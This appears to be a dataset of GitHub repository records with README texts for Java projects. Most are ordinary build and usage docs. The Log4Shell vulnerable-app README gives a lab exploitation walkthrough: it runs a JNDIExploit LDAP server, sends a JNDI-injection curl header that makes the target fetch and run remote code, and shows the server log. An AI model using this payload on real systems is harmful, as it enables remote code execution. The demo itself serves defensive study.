</configuration> </toolchain> <toolchain> <type>jdk</type> <provides> <version>17</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>FULL_PATH_TO_YOUR_JAVA_17_HOME</jdkHome> </configuration> </toolchain> </toolchains> ``` ### (b) Clone the Repository git clone https://github.com/dremio/dremio-oss.git dremio ### (c) Build the Code cd dremio mvn clean install -DskipTests (or ./mvnw clean install -DskipTests if maven is not installed on the machine) The "-DskipTests" option skips most of the tests. Running all tests takes a long time. ### (d) Run/Install #### Run distribution/server/target/dremio-community-{DREMIO_VERSION}/dremio-community-{DREMIO_VERSION}/bin/dremio start OR to start a server with a default user (dremio/dremio123) mvn compile exec:exec -pl dac/daemon Once run, the UI is accessible at: http://localhost:9047 #### Production Install ##### (1) Unpack the tarball to install. mkdir /opt/dremio tar xvzf distribution/server/target/*.tar.gz --strip=1 -C /opt/dremio ##### (2) Start Dremio Embedded Mode cd /opt/dremio bin/dremio #### OSS Only To have the best possible experience with Dremio, we include a number of dependencies when building Dremio that are distributed under non-oss free (as in beer) licenses. Examples include drivers for major databases such as Oracle Database, Microsoft SQL Server, MySQL as well as enhancements to improve source pushdowns and thread scheduling. If you'd like to only include dependencies with OSS licenses, Dremio will continue to work but some features will be unavailable (such as connecting to databases that rely on these drivers). To build dremio with only OSS dependencies, you can add the following option to your Maven commandline: `-Ddremio.oss-only=true` The distribution directory will be `distribution/server/target/dremio-oss-{DREMIO_VERSION}/dremio-oss-{DREMIO_VERSION}` ## Codebase Structure | Directory | Details | |----------------------------------------|----------------------------------------------------------| | [dac](dac/README.md) | Dremio Analyst Center - The Dremio management component. | | [common](common/README.md) | Dremio Common | | [distribution](distribution/README.md) | Dremio Distribution | | [plugins](plugins/README.md) | Dremio Plugins | ## Contributing If you want to contribute to Dremio, please see [Contributing to Dremio](CONTRIBUTING.md). ## Questions? If you have questions, please post them on https://community.dremio.com.
0
ctripcorp/dal
Ctrip Database Access Layer
null
# 简介 Ctrip DAL是携程框架部开发的数据库访问框架,支持代码生成和水平扩展。其由携程技术中心框架部DAL团队开发,历经3年不断打磨,并在长期的实际使用中基于大量的用户反馈不断优化。 开源范围包括代码生成器,Java客户端和C#客户端。 **注:C#客户端于2016年9月29日也正式开源了** # 背景 随着企业规模扩张和业务量的急剧增加,作为系统核心的数据库相关开发也会经历一个由单一团队发展为多团队;由单机扩张到集群;由单数据库发展为多数据库;由采用单一数据库产品到多种数据库产品并存的过程。伴随这一过程的是如何管理数据库扩展,如何规范数据库访问,如何保护数据库投资,如何应对访问量增加,如何预防安全问题等一系列挑战。作为中国在线旅游行业的翘楚,携程也曾经面对同样困扰。为了应对这些挑战,实现企业10倍速发展,携程开发了具有自己特色的数据库访问框架Ctrip DAL Ctrip DAL支持流行的分库分表操作,支持Java和C#,支持Mysql和MS SqlServer。使用该框架可以在有效地保护企业已有数据库投资的同时,迅速,可靠的为企业提供数据库访问层的横向扩展能力。整个框架包括代码生成器和客户端。工作模式是使用代码生成器在线生成代码和配置,通过DAL客户端完成数据库操作。生成器具有丰富的向导指引,操作简单清晰,即可以批量生成标准DAO,也可以在方法级别定制数据库访问。客户端则可以简单的通过标准的maven方式添加依赖 ![model](https://github.com/ctripcorp/dal/blob/master/doc/codegen_work_model.png) Ctrip DAL与一般数据库框架最大的不同是从企业跨部门的角度,统一管理数据库相关资源。通过部署代码生成器,企业可以做到有效的管理全公司的DAL开发团队,明确数据库归属和定制数据库访问。通过代码生成器生成的标准DAO代码与客户端配合使用,可以大幅提高工作效率,保证代码质量。解决了业内常见的伴随业务成长而带来的系统维护困难,开发效率低下,代码风格五花八门,代码质量参差不齐等痛点问题。 ![overview](https://github.com/ctripcorp/dal/blob/master/doc/codegen_overview.png) ### 代码生成器简介 代码生成器允许用户创建Dal团队,组织开发人员,管理数据库,创建DAO并生成代码和配置。与一般基于JDBC driver的DB sharding产品不同的是,代码生成器生成的代码和配置可以直接拿来实用,完全无需用户写一行代码和配置。做到了只需开发人员关心业务逻辑,而把繁琐的数据库相关的编码和配置任务全部交给DAL。由于Ctrip DAL完全在DAO这层工作,也没有什么这种SQL语句不支持,那种SQL语句不能用的情况。同时传递hints的方式也非常自然,每个方法都自带hints的接口,需要DAL额外做什么可以直接按给定的已有名字来设置,无需改写原始的sql来添加怪异的注释。 ### 客户端简介 客户端配合代码生成器生成的代码来完成用户的数据库访问操作。通过Dev和QA两方面双重自动化测试来保障质量,覆盖率达到99%,并经过生产实际实用的的长期严格检验。为了适应不同公司的实际情况,DAL客户端定义了丰富的扩展接口,覆盖了从数据源管理,数据库映射,连接串读取到自定义访问方式等等方方面面的功能。同时为了方便系统监控还内置了系统状态,日志和统计模块。 通过DAL可以做到 1. 在公司范围提供统一的数据库访问方式以降低总体的开发成本 2. 避免由于技术人员水平不同而造成的相同功能实现方式,标准,质量不一至 3. 集中优势人员,将相关的功能做深,做好,做稳定,做全面 4. 出现技术问题的时候有专门的技术团队及时支持。减低总体的风险 # 使用概况 目前携程超过117个独立DAL团队通过Dal Code Gen管理数据库和创建DAO。 2000多个应用在使用DAL框架,占携程所有数据库应用总数超过90%。 支持2种主流编程语言:Java和C#。 支持2种主流数据库Mysql和MS SqlServer。 # 开发团队 ## 发起人 为了支持携程前CTO叶亚明先生(现首席科学家)主导的10X提速战略规划,由前携程系统研发部总监陈绍明先生(Simon Chen)提出该框架最初的构想,陈绍明同时组建了开发团队并决定了该框架的路线图和重大设计决策。 ## 产品经理 孟文超。主要负责DAL产品的总体需求 ## 当前开发人员 * 赫杰辉。Java客户端总体设计与开发,代码生成器Java模板 * 王晔楠。主要负责代码生成器,C#客户端 * 李龙娇。测试负责人,自动化测试开发 ## 历史贡献者 * 原酒店部门Dal开发团队。最初版本的C#客户端和桌面版代码生成器的开发 * 吴广安。早期版本的C#客户端重构和网页版代码生成器的创建 * 袁王成。Java客户端HA,Markdown,AppInternal模块和代码生成器开发 * 夏光智。代码生成器,数据源管理 * 万国新。C#客户端 * 张钰。总体测试 ## 常用参考文档 [简介](https://github.com/ctripcorp/dal/wiki) [代码生成器(CodeGen)安装说明](https://github.com/ctripcorp/dal/wiki/%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E5%99%A8(CodeGen)%E5%AE%89%E8%A3%85%E8%AF%B4%E6%98%8E) [代码生成器(CodeGen)使用说明](https://github.com/ctripcorp/dal/wiki/%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E5%99%A8(CodeGen)%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E) [Java客户端 集成说明](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E) [Java客户端 配置与扩展](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%89%A9%E5%B1%95) [C#客户端 集成说明](https://github.com/ctripcorp/dal/wiki/C%23%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E) [C#客户端 配置文件](https://github.com/ctripcorp/dal/wiki/C%23%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6) [Java客户端 Demo](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E#demo-project) ## 技术支持 [携程框架DAL团队](mailto:rdfxdal@Ctrip.com) ![](https://github.com/ctripcorp/dal/blob/master/doc/Tech_Support_QQ.png) ## 已接入公司 请在[这里](https://github.com/ctripcorp/dal/issues/22)提供您的公司名称和网址 ![ctrip](https://github.com/ctripcorp/dal/blob/master/doc/known-users/ctrip.png) ![1hai](https://github.com/ctripcorp/dal/blob/master/doc/known-users/1hai.png) ![dj](https://github.com/ctripcorp/dal/blob/master/doc/known-users/dj.png) ![imedmaster](https://github.com/ctripcorp/dal/blob/master/doc/known-users/imedmaster.png) ![yiguo](https://github.com/ctripcorp/dal/blob/master/doc/known-users/yiguo.png)
0
SonicCloudOrg/sonic-agent
🎉Agent of Sonic cloud real machine platform. Sonic云真机平台Agent端。
appium automation java remote stf testing
<p align="center"> <img width="80px" src="https://raw.githubusercontent.com/SonicCloudOrg/sonic-server/main/logo.png"> </p> <p align="center">🎉Agent of Sonic Cloud Real Machine Platform</p> <p align="center"> <span>English |</span> <a href="https://github.com/SonicCloudOrg/sonic-agent/blob/main/README_CN.md"> 简体中文 </a> </p> <p align="center"> <a href="#"> <img src="https://img.shields.io/github/v/release/SonicCloudOrg/sonic-agent?include_prereleases"> </a> <a href="#"> <img src="https://img.shields.io/badge/platform-windows|macosx|linux-success"> </a> </p> <p align="center"> <a href="#"> <img src="https://img.shields.io/github/commit-activity/m/SonicCloudOrg/sonic-agent"> </a> <a href="#"> <img src="https://img.shields.io/github/downloads/SonicCloudOrg/sonic-agent/total"> </a> <a href="https://github.com/SonicCloudOrg/sonic-server/blob/main/LICENSE"> <img src="https://img.shields.io/github/license/SonicCloudOrg/sonic-server?color=green&label=license&logo=license&logoColor=green"> </a> </p> ### Official Website [Sonic Official Website](https://sonic-cloud.cn) ## Background #### What is sonic ? > Sonic is a platform that integrates remote control debugging and automated testing of mobile devices, and strives to > create a better use experience for global developers and test engineers. > >If you want to participate, welcome to join us! 💪 > >If you want to support, you can give me a star. ⭐ ## Deploy [Look Here!](https://sonic-cloud.cn/deploy/agent-deploy.html) ## Package [Look Here!](https://sonic-cloud.cn/contribute?tag=con-agent) ## Sponsors Thank you to all our sponsors! [<img src="https://ceshiren.com/uploads/default/original/3X/7/0/70299922296e93e2dcab223153a928c4bfb27df9.jpeg" alt="霍格沃兹测试开发学社" width="500">](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com) > [霍格沃兹测试开发学社](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com) > 是业界领先的测试开发技术高端教育品牌,隶属于[测吧(北京)科技有限公司](http://qrcode.testing-studio.com/f?from=sonic&url=https://www.testing-studio.com) > 。学院课程由一线大厂测试经理与资深测试开发专家参与研发,实战驱动。课程涵盖 web/app > 自动化测试、接口测试、性能测试、安全测试、持续集成/持续交付/DevOps,测试左移&右移、精准测试、测试平台开发、测试管理等内容,帮助测试工程师实现测试开发技术转型。通过优秀的学社制度(奖学金、内推返学费、行业竞赛等多种方式)来实现学员、学社及用人企业的三方共赢。[进入测试开发技术能力测评!](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com/t/topic/14940) ## LICENSE [License](LICENSE) - Binary files in the mini folder are from [minicap](https://github.com/openstf/minicap) license: [Apache 2.0 License](licenses/LICENSE.minicap) - sonic-android-scrcpy.jar in the plugins folder is from sonic-android-scrcpy fork from [scrcpy](https://github.com/Genymobile/scrcpy) license: [Apache 2.0 License](licenses/LICENSE.scrcpy) - sonic-appium-uiautomator2-server*.apk in the plugins folder are from sonic-appium-uiautomator2-server fork from [appium-uiautomator2-server](https://github.com/appium/appium-uiautomator2-server) license: [Apache 2.0 License](licenses/LICENSE.appium-uiautomator2-server) - sonic-go-mitmproxy in the plugins folder is from sonic-go-mitmproxy fork from [go-mitmproxy](https://github.com/lqqyt2423/go-mitmproxy) license: [MIT License](licenses/LICENSE.go-mitmproxy) - WebDriverAgent is from sonic-ios-wda fork from [WebDriverAgent](https://github.com/appium/WebDriverAgent) license: [BSD License](licenses/LICENSE.WebDriverAgent) - Poco-SDK is from sonic-sdk-poco fork from [Poco-SDK](https://github.com/AirtestProject/Poco-SDK) license: [Apache 2.0 License](licenses/LICENSE.Poco-SDK)
0
rhwayfun/spring-boot-learning-examples
Spring Boot工程实践,快速上手Spring Boot开发必备。最全的Spring Boot使用案例!
springboot
# 最全的Spring Boot实践指南 ![travis](https://travis-ci.org/rhwayfun/spring-boot-learning-examples.svg?branch=develop) [![codecov](https://codecov.io/gh/rhwayfun/spring-boot-learning-examples/branch/develop/graph/badge.svg)](https://codecov.io/gh/rhwayfun/spring-boot-learning-examples) [![Gitter](https://img.shields.io/gitter/room/nwjs/nw.js.svg)](https://gitter.im/spring-boot-learning-examples/chat) [![license](https://img.shields.io/badge/license-EPL%201.0-green.svg)](https://choosealicense.com/licenses/epl-1.0/) Spring Boot知识点整理、工程实践,并结合工作案例进行深入 * 使用travis-ci持续集成 * 使用codecov进行代码覆盖率检查 * 学习案例以模块方式划分,每隔模块都是独立可执行项目,直接运行Application即可 ## 分享平台 > 博客:http://blog.csdn.net/u011116672 > Github:https://github.com/rhwayfun ## 项目模块 ``` └── 基础入门 └── Web开发 └── Weex └── Bootstrap └── thymeleaf └── 缓存使用 └── Ehcache └── Caffeine └── Guava Cache └── 数据库 └── Mybatis └── MySQL └── Spring其他功能 └── Spring Task └── Spring Retry └── Spring AOP └── 企业开发进阶 └── Dubbo(阿里开源的分布式服务治理框架) └── Kafka └── RocketMQ └── Sharding-JDBC └── Disconf └── Elsaticsearch └── Elsatic-job └── Redis └── MongoDB └── Mockito └── InfluxDB └── Ignite └── Geode └── ... ``` ### 基础入门 * spring-boot-quickstart(Spring Boot快速入门案例) * spring-boot-configuration(了解下Spring Boot配置管理) ### web开发 * spring-boot-web-jsp(使用JSP作为开发) * spring-boot-web-thymeleaf(使用模板引擎thymeleaf开发) * spring-boot-web-bootstrap(bootstrap入门demo) * spring-boot-security(权限控制项目实战) [spring security实战](http://blog.csdn.net/u011116672/article/details/77428049) * spring-boot-security-cas(集成CAS搭建自己的认证中心) ### 缓存使用 * spring-boot-cache-caffeine(高性能本地缓存框架caffeine实践) * spring-boot-cache-ehcache(Java应用最多的本地缓存Ehcache实践) * spring-boot-redis(分布式KV缓存redis实践) ### 数据库 * spring-boot-mybatis(mybatis使用快速入门) * spring-boot-mybatis-annotation(mybatis全注解使用示例) * spring-boot-mybatis-multidatasource(mybatis多数据库解决方案) * spring-boot-mybatis-sharding-jdbc(使用sharding-jdbc对数据库进行分库分表) [Sharding-JDBC分库分表使用实例](http://blog.csdn.net/u011116672/article/details/78374724) * spring-boot-mybatis-sharding-jdbc-masterslave(使用sharding-jdbc完成分库分表+读写分离) [Sharding-JDBC读写分离探秘](http://blog.csdn.net/u011116672/article/details/78576117) ### Spring其他功能 * spring-boot-task(定时任务) [Spring定时任务源码分析](http://blog.csdn.net/u011116672/article/details/77132205) [深入浅出Spring task定时任务](http://blog.csdn.net/u011116672/article/details/52517247) * spring-boot-retry(重试和熔断) [重试框架Spring retry实践](http://blog.csdn.net/u011116672/article/details/77823867) * spring-boot-aspect(aop相关,静态织入、动态织入) [AspectJ切面执行两次原因分析](http://blog.csdn.net/u011116672/article/details/63685340) ### 企业开发进阶 * spring-boot-dubbo(服务治理框架dubbo使用案例) * spring-boot-dubbo-annotation(服务治理框架dubbo案例,基于注解实现) [dubbo-spring-boot-project](https://github.com/apache/incubator-dubbo-spring-boot-project) * spring-boot-dubbo-extension(基于duboo扩展点实现自定义扩展) * spring-boot-disconf(分布式配置管理disconf使用案例) * spring-boot-elasticsearch(全文搜索引擎elasticsearch实践) * spring-boot-mongodb(NoSQL数据库mongodb实战) * spring-boot-kafka(消息中间件kafka实践) * spring-boot-rocketmq(阿里开源消息中间件RocketMQ实践) spring-boot-rocketmq-starter使用案例 * spring-boot-rocketmq-starter(阿里开源消息中间件RocketMQ Spring Boot Starter) [spring-boot-rocketmq-starter 使用指南](apache-rocketmq-starter-guide.md) [spring-boot-rocketmq-starter](https://github.com/rhwayfun/spring-boot-rocketmq-starter) * spring-boot-mockito(Java社区最火的测试框架Mockito使用实战) * spring-boot-hibernate-validation(Hibernate出品的校验框架使用实战) * spring-boot-geode(内存数据库geode实战,目前应用与内部地址位置距离的计算) * spring-boot-ignite(内存数据库ignite实战) * spring-boot-elastic-job(分布式任务调度框架elastic-job实战) * spring-boot-starter(自定义spring boot starter) * spring-boot-starter-rest(自定义spring boot starter) * spring-boot-logging-log4j2(使用log4j2) * spring-boot-influxdb(时序数据库influxDB实践) * spring-boot-mybatis-sharding-jdbc(分库分表Sharding-JDBC实践) ## 准备工作 > [数据库脚本](docs/sql/springboot/spring-boot-mybatis.sql) ### 安装MySQL ### 添加用户`travis` ``` create user travis@localhost; ``` ### 授权 ``` grant all privileges on *.* to travis@localhost;/* mac系统下localhost要改成127.0.0.1 */ ``` ### 查看权限 ``` /* 查看MySQL所有用户 */ SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user; /* 查看travis用户的权限 */ show grants for travis@localhost; ``` ### 编译运行 ``` mvn clean compile mvn clean package ``` ## 未完待续 更多案例不断补充中。。。如果您觉得对你有用,就给我点个赞吧\(^o^)/~
0
pmiaowu/BurpFastJsonScan
一款基于BurpSuite的被动式FastJson检测插件
null
# BurpFastJsonScan 一款基于BurpSuite的被动式FastJson检测插件 # 免责声明 该工具仅用于安全自查检测 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 # 简介 BurpFastJsonScan 一个希望能节省一些渗透时间好进行划水的扫描插件 该插件会对BurpSuite传进来的带有json数据的请求包进行检测 目前的功能如下 - 命令回显 - 远程命令执行 # 请注意!!!! 默认使用jdk1.8编译 默认使用jdk1.8编译 默认使用jdk1.8编译 默认使用jdk1.8编译 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 # 编译方法 <details> <summary><b>编译方法</b></summary> 这是一个 java maven项目 默认java版本为 1.8 导入idea,打开刚刚好下载好的源码 ![](./images/1.png) 打开: /BurpFastJsonScan/pom.xml 安装对应的包,第一次安装依赖包需要比较久,慢慢等不要急 ![](./images/2.png) ![](./images/3.png) 编译文件地址: /BurpFastJsonScan/target/BurpFastJsonScan/ jar包地址: /BurpFastJsonScan/target/BurpFastJsonScan/BurpFastJsonScan.jar 项目配置文件地址: /BurpFastJsonScan/target/BurpFastJsonScan/resources/config.yml 接着拿着这个jar包, 导入BurpSuite即可 </details> # 安装方法 这是一个 java maven项目 如果你想自己编译的话, 那就下载本源码自己编译成 jar包 然后进行导入BurpSuite ![](./images/8.png) ![](./images/9.png) ![](./images/10.png) # 检测方法选择 目前有二种方法进行的检测 - 命令回显 - 远程命令执行 # 检测规则 - POST 的内容为json - GET 的参数内容为json - POST 的参数内容为json - Cookie 的参数内容为json ``` 例子: GET, POST, Cookie 有个参数 json json = {"aaa":"66666"} 那么就会去检测 json的这种就是请求包的内容直接就是json不带参数的那种, 也会去检测 ``` # 使用方法 我们正常去访问网站, 如果站点的某个请求出现了 json 那么该插件就会去尝试检测 访问完毕以后, 插件就会自动去进行扫描 如果有结果那么插件就会在以下地方显示 - Tag - Extender - Scanner-Issue activity # 问题查看 目前有这几个地方可以查看 ![](./images/4.png) ![](./images/5.png) ![](./images/6.png) # tag界面查看漏洞情况 ``` 现在可以通过tag界面查看漏洞情况了 分别会返回 - request no json = 请求没有json - request json no eligible = 请求json不符合条件 - the number of website problems has exceeded = exceeded 超出网站问题的数量 - the number of website scans exceeded = 超出网站可扫描次数 - waiting for test results = 等待测试结果 - [+] found fastJson command execution = 查找到fastJson命令执行 - [-] not found fastJson command execution = 没有查找到fastJson命令执行 - [x] scan task timed out = 扫描任务超时 - [x] unknown error = 未知的错误 当发生 unknown error 的时候,可以尝试在下方中查看错误详情 ``` ![](./images/7.png) # 疑难杂症解决 假如扫描出问题了,想要重新扫描怎么办? 例如tag一直出现如下问题: - the number of website problems has exceeded = exceeded 超出网站问题的数量 - the number of website scans exceeded = 超出网站可扫描次数 解决方案: ![](./images/11.png) # 如何切换dnslog的问题 编译完毕以后,进入BurpFastJsonScan文件夹,进入resources目录,打开config.yml 如下: ![](./images/12.png) ![](./images/13.png) 如果是想换成 DnsLogCn/BurpDnsLog 的话,只需要替换 provider这个值为对应的即可 如果想使用Ceye,那就需要如下操作: ![](./images/14.png) 获取token与Identifier 然后打开config.yml,填写成如下样子,如何重新安装插件即可: ![](./images/15.png)
0
christophetd/log4shell-vulnerable-app
Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).
log4shell
# Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/). It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181. ![](./screenshot.png) ## Running the application Run it: ```bash docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929 ``` ## Exploitation steps *Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.* **Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528))... [Click Here](http://web.archive.org/web/20211211031401/https://objects.githubusercontent.com/github-production-release-asset-2e65be/314785055/a6f05000-9563-11eb-9a61-aa85eca37c76?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211211%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211211T031401Z&X-Amz-Expires=300&X-Amz-Signature=140e57e1827c6f42275aa5cb706fdff6dc6a02f69ef41e73769ea749db582ce0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=314785055&response-content-disposition=attachment%3B%20filename%3DJNDIExploit.v1.2.zip&response-content-type=application%2Foctet-stream) to Download the version cached by the Wayback Machine.* * Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server ```bash wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888 ``` * Then, trigger the exploit using: ```bash # will execute 'touch /tmp/pwned' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' ``` * Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload: ``` [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8888... [+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo [+] Paylaod: command [+] Command: touch /tmp/pwned [+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class [+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class [+] Receive ClassRequest: Exploitjkk87OnvOH.class [+] Response Code: 200 ``` * To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application: ``` $ docker exec vulnerable-app ls /tmp ... pwned ... ``` ## Reference https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ ## Contributors [@christophetd](https://twitter.com/christophetd) [@rayhan0x01](https://twitter.com/rayhan0x01)
0
DTStack/Taier
Taier is a big data development platform for submission, scheduling, operation and maintenance, and indicator information display
azkaban chunjun cronjob-scheduler dag data-schedule distributed-schedule-system flink hadoop hive job-scheduler scheduler spark task-schedule workflow-scheduling-system
<div align="center"> <a href="https://dtstack.github.io/Taier/" target="_blank" rel="noopener noreferrer"> <img src="website/static/img/logo.svg" width="20%" height="20%" alt="Taier Logo" /> </a> <h1>Taier</h1> <h3>A distributed dispatching system</h3> </div> <p align="center"> <img src="https://img.shields.io/github/release/Dtstack/Taier.svg"> <img src="https://img.shields.io/github/stars/Dtstack/Taier"> <img src="https://img.shields.io/github/forks/Dtstack/Taier"> <a href="https://www.apache.org/licenses/LICENSE-2.0.html"> <img src="https://img.shields.io/badge/license-Apache%202-4EB1BA.svg"> </a> <p align="center"> <a href="https://dtstack.github.io/Taier/">Office Website</a> | <a href="https://dtstack.github.io/Taier/docs/guides/introduction/">Document</a> </p> </p> [中文](./README_zh-CN.md) | [English](./README.md) ## Introduction > **Taier** , spelling in chinese is 太阿, is one of the ancient chinese celebrated swords. **Taier** is distributed dispatching system that focus on different tasks submitted and scheduled. It's aimed at reducing the **ETL**'s cost, making the complex dependencies between tasks clearly and reducing the labor cost about submitting, scheduling and O&M. It's unnecessary to concern about the complex dependencies between tasks and the underlying architecture about the big data platform at **Taier**, so that you can pay more attention into business. **Taier** provide an one-stop big data platform for submitting tasks, scheduling tasks, O&M, presentation about indicators. The core features for Taier are as follows: - Easy to distributed extend - Visualization config for DAG - With an IDE development platform designed for big-data users - Supports to develop your own plugins - Multiply task modes including guide mode and script mode - Supports to the dependencies between upstream/downstream tasks - Supports batch and stream tasks - Integrates various different versions of Hadoop - Easy to integrate Flink Standalone - Completely safe and non-intrusive to the cluster's environment - Isolation by tenants and clusters - Supports kerberos authentication - Different versions for tasks - Supports user-defined parameters for task - Real-time monitoring about cluster's resources - Real-time presented about data indicators - Restrict the task's resource ## Architecture ![architecture](/website/static/img/readme/taier-architecture.png) ## Quick start #### [In Docker](https://dtstack.github.io/Taier/docs/quickstart/deploy/docker#2-%E4%BD%BF%E7%94%A8docker-compose) ```shell $ wget https://raw.githubusercontent.com/DTStack/Taier/master/docker-compose.yml $ docker-compose up -d ``` #### [Online Preview](http://taier.dtstack.cn/) #### [Develop Tasks](https://dtstack.github.io/Taier/docs/quickstart/start) ![main](/website/static/img/readme/main.png) ## Tasks | Tasks | Documentation | | :---------------: | :-----------------------------------------------------------------------------------: | | Work Flow | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/workflow) | | Data Sync | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/sync) | | Data Acquisition | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/data-acquisition) | | Flink | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/flink) | | Shell | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/shell) | | Python | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/python) | | Spark SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/spark-sql) | | Hive SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/hive-sql) | | Flink SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/flink-sql) | | OceanBase SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/oceanbase-sql) | | ClickHouse SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/clickhouse-sql) | | Doris SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/doris-sql) | | TiDB SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/tidb-sql) | | MySQL SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/mysql-sql) | | Vertica SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/vertica-sql) | | Postgre SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/postgre-sql) | | SqlServer SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/sqlserver-sql)| | Greenplum SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/greenplum-sql)| | MaxCompute SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/maxcompute-sql)| | GaussDB SQL | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/guassdb-sql) | | DataX | [Documentation](https://dtstack.github.io/Taier/docs/functions/task/datax) | | User-defined Task | [Documentation](https://dtstack.github.io/Taier/docs/expand/task) | ## Questions [FAQ Reference](https://dtstack.github.io/Taier/docs/quickstart/faq) For questions, bugs and supports please open an [issue](https://github.com/DTStack/Taier/issues/new/choose), we'll reply you in time. ## Stay in touch - Slack https://join.slack.com/t/slack-p437975/shared_invite/zt-1iw5x1fw7-A6rVolqjP2z8V09~WwFUiA ## Contribution Please make sure to read the [Contributing Guide](https://dtstack.github.io/Taier/docs/contributing) before making a pull request. ## Contributor <a href="https://github.com/Dtstack/Taier/graphs/contributors"> <img src="https://contrib.rocks/image?repo=Dtstack/Taier" /> </a> ## License **Taier** is under the Apache 2.0 license. See the [LICENSE](http://www.apache.org/licenses/LICENSE-2.0) file for details.
0
etcd-io/jetcd
etcd java client
null
